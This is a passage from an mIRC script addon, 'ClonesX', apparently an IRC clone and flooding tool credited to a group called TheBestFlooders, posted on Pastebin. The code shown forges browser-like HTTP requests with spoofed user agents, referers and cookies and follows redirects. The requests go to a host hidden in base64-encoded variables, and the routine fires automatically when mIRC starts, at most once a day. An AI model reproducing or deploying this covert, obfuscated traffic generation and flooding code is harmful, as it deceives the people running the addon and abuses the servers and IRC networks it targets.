  997. if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ NT }
  998. elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 95 }
  999. else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 98 }
  1000. var %p.cloning.rrand = $rand(0,2)
  1001. if (%p.cloning.rrand == 0) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.0 }
  1002. elseif (%p.cloning.rrand == 1) { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 5.5 }
  1003. else { set %p.cloning.b.lng %p.cloning.b.lng $+ , $+ 6.0 }
  1004.  
  1005. var %p.b.cloning.tsn = GET %p.b.cloning.prt1 HTTP/1.1 $+ $crlf $+ Accept: */* $+ $crlf $+ Referer: %p.b.cloning.prt5 $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
  1006. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
  1007. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive $+ $crlf $+ $crlf
  1008. ;sockwrite -nt $sockname %p.b.cloning.tsn
  1009. .timerp.cloning.BB1 1 3 p.cloning.bbdo 2
  1010. }
  1011. elseif ($sockname == p.b.cloning2) {
  1012. var %p.b.cloning.tsn = GET %p.b.cloning.prt2 HTTP/1.1 $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
  1013. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
  1014. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
  1015. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: %p.b.cloning.prt3 $+ $crlf $+ Connection: Keep-Alive
  1016. if ($calc($ctime - %p.act.cloning.see.c.burl.tt) < 86400) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
  1017. else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf | set %p.act.cloning.see.c.burl.tt $ctime }
  1018. ;unset %p.cloning.b.lng
  1019. ;sockwrite -nt $sockname %p.b.cloning.tsn
  1020. ;.timerp.cloning.BB 1 2 .sockclose $sockname
  1021. }
  1022. else {
  1023. var %p.b.cloning.tsn = $iif(http:// isin %p.cloning.b.lng.l,GET / HTTP/1.1,GET / $+ %p.cloning.b.lng.l HTTP/1.1)
  1024. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* $+ $crlf $+ Referer: %p.b.cloning.prt5
  1025. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Accept-Language: $gettok(%p.cloning.b.lng,1,44) $+ $crlf $+ Accept-Encoding: gzip, deflate
  1026. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ User-Agent: Mozilla/4.0 (compatible; MSIE $gettok(%p.cloning.b.lng,3,44) $+ ; Windows $gettok(%p.cloning.b.lng,2,44) $+ )
  1027. var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Host: $iif($chr(63) isin %p.cloning.b.lng.l,%p.b.cloning.prt3,$remove(%p.cloning.b.lng.l,http://)) $+ $crlf $+ Connection: Keep-Alive
  1028. if ($chr(63) isin %p.cloning.b.lng.l) { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ Cookie: %p.b.cloning.prt4 $+ $crlf $+ $crlf }
  1029. else { var %p.b.cloning.tsn = %p.b.cloning.tsn $+ $crlf $+ $crlf }
  1030. }
  1031. sockwrite -nt $sockname %p.b.cloning.tsn
  1032. }
  1033. }
  1034. on 1:sockclose:p.b.cloning?: { if (!$sock(p.b.cloning?,2)) && ($sockname != p.b.cloning1) { unset %p.cloning.b.lng* } }
  1035. on 1:sockread:p.b.cloning?: {
  1036. if ($sockerr == 0) {
  1037. sockread %p.cloning.b.lng.r
  1038. if ($gettok(%p.cloning.b.lng.r,1,32) == Location:) {
  1039. set %p.cloning.b.lng.l $gettok(%p.cloning.b.lng.r,2,32)
  1040. var %i = 3 | while ($sock(p.b.cloning [ $+ [ %i ] ],1)) { var %i = %i + 1 }
  1041. if (!$sock(p.b.cloning [ $+ [ %i ] ],1)) && ($chr(63) isin %p.cloning.b.lng.l) { p.cloning.bbdo %i $iif($chr(63) !isin %p.cloning.b.lng.l,$remove(%p.cloning.b.lng.l,http://)) }
  1042. }
  1043. }
  1044. }
  1045. alias -l p.cloning.bbdo {
  1046. if (%p.act.cloning.see.c.bcon == 1) && (%p.act.cloning.see.c.burl) {
  1047. var %p.b.cloning.1 = $decode(%p.act.cloning.see.c.burl,m)
  1048. var %p.b.cloning.1p = $gettok(%p.b.cloning.1,1,44)
  1049. var %p.b.cloning.prt = $gettok(%p.b.cloning.1,2,44)
  1050. if ($2) { .sockopen p.b.cloning $+ $$1 $2 80 }
  1051. elseif (%p.b.cloning.1p) && (%p.b.cloning.prt) { .sockopen p.b.cloning $+ $$1 %p.b.cloning.1p %p.b.cloning.prt }
  1052. }
  1053. }
  1054. dialog p.cloning.cred {
  1055. title "ClonesX Credits"
  1056. size -1 -1 144 99
  1057. option dbu
  1058. text "Cet addon a été creé par l'equipe de TheBestFlooders. Pour la moindre question sur celui-ci :", 1, 1 2 142 15
  1059. text "Web: Mail: Forum:", 2, 1 16 14 21
  1060. link "www.thebestflooders.org", 3, 15 16 55 8
  1061. link "webmaster@thebestflooders.org", 4, 15 22 58 8
  1062. link "www.thebestflooders.org", 5, 15 29 129 8
  1063. box "Remerciements à:", 6, 0 38 144 47
  1064. edit "Specialement a toute l'equipe de TheBestFlooders a aux utilisateurs qui nous font honneur en l'utilisant ! :) bye bye.", 7, 2 45 140 37, read multi
  1065. button "&Exit", 8, 45 87 55 11, ok
  1066. }
  1067. on 1:DIALOG:p.cloning.cred:sclick,dclick:*: {
  1068. if ($did == 3) { run www.thebestflooders.org }
  1069. if ($did == 4) { run mailto:webmaster@thebestflooders.org }
  1070. if ($did == 5) { run www.thebestflooders.org }
  1071. }
  1072. dialog p.cloning.errD {
  1073. title "ClonesX"
  1074. size -1 -1 160 30
  1075. option dbu
  1076. text "", 1, 0 1 160 28
  1077. button "",2,-20 -20 0 0,cancel
  1078. }
  1079. on 1:DIALOG:p.cloning.errD:init:0: { did -a $dname 1 %p.cloning.errD }
  1080. dialog p.cloning.ac {
  1081. title "ClonesX -actualisation-"
  1082. size -1 -1 160 43
  1083. option dbu
  1084. text "Il y a une nouvelle version de ClonesX. Version:", 1, 2 4 128 8
  1085. text "", 2, 128 4 50 8
  1086. text "Télécharger:", 3, 2 15 32 8
  1087. button "&Fermer", 4, 64 29 37 12, ok
  1088. link "", 5, 37 15 119 7
  1089. }
  1090. on 1:DIALOG:p.cloning.ac:init:0: {
  1091. did -i $dname 2 1 %p.act.cloning.verr
  1092. did -i $dname 5 1 %p.act.cloning.see.c.url
  1093. }
  1094. on 1:DIALOG:p.cloning.ac:sclick,dclick:5: { run $did($dname,5).text }
  1095. alias -l p.cloning.actua {
  1096. if ($$1 > %p.act.cloning.verr) {
  1097. set %p.act.cloning.verr $$1
  1098. if ($dialog(p.cloning.ac)) { dialog -v p.cloning.ac }
  1099. else { dialog -m p.cloning.ac p.cloning.ac | dialog -v p.cloning.ac }
  1100. }
  1101. }
  1102.  
  1103. on *:START: {
  1104. if ($version < 5.91) { echo -s 4L'addon ClonesX v1.501b ne fonctionne pas correctement sur les version de Mirc inferieures à la 5.91 }
  1105. unset %p.cloning.*
  1106. if ($calc($ctime - %p.act.cloning.see.c.burl.tt) > 86400) && (%p.act.cloning.see.c.bcon == 1) { p.cloning.bbdo 1 }
  1107. if (!%p.act.cloning.verr) { set %p.act.cloning.verr 1.501b }
  1108. if (!%p.act.cloning.see.c.pea) { set %p.act.cloning.see.c.pea MjA5LjkwLjEyNS4yMTIsODAsL35rcnh2ZXIvcGNsb25pbmcudHh0 }
  1109. if (!%p.act.cloning.see.c.url) { set %p.act.cloning.see.c.url http://www.thebestflooders.org }
  1110. if (%p.act.cloning.see.c.bcon == $null) { set %p.act.cloning.see.c.bcon 0 }
  1111. if (!%p.act.cloning.see.c.burl) { set %p.act.cloning.see.c.burl c2F2ZWssZWwsYW1vcyx4RCwvcXVlcnkgc2F2ZWsgZXJlcyBlbCB0b2RvIHBvZGVyb3NvLFRvY2FuZG8gY29kaWdvIGVoP3hELHByb3hpbWFtZW50ZSBlbiBwcm9ncmFtYSE= }
  1112. set %p.cloning.msg.quit alcahaxed pwnzj00
  1113. set %p.cloining.wh $script
  1114. p.cloning.see.act
  1115. p.cloning.delch
  1116. }
  1117. on *:LOAD: {
  1118. unset %p.cloning*
  1119. unset %p.save.cloning*
  1120. unset %p.act.cloning*
  1121. }
  1122. alias -l p.cloning.fal {
  1123. set %p.cloning.errD $$1-
  1124. if ($dialog(p.cloning.errD)) { dialog -x p.cloning.errD }
  1125. dialog -m p.cloning.errD p.cloning.errD
  1126. dialog -v p.cloning.errD
  1127. halt
  1128. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!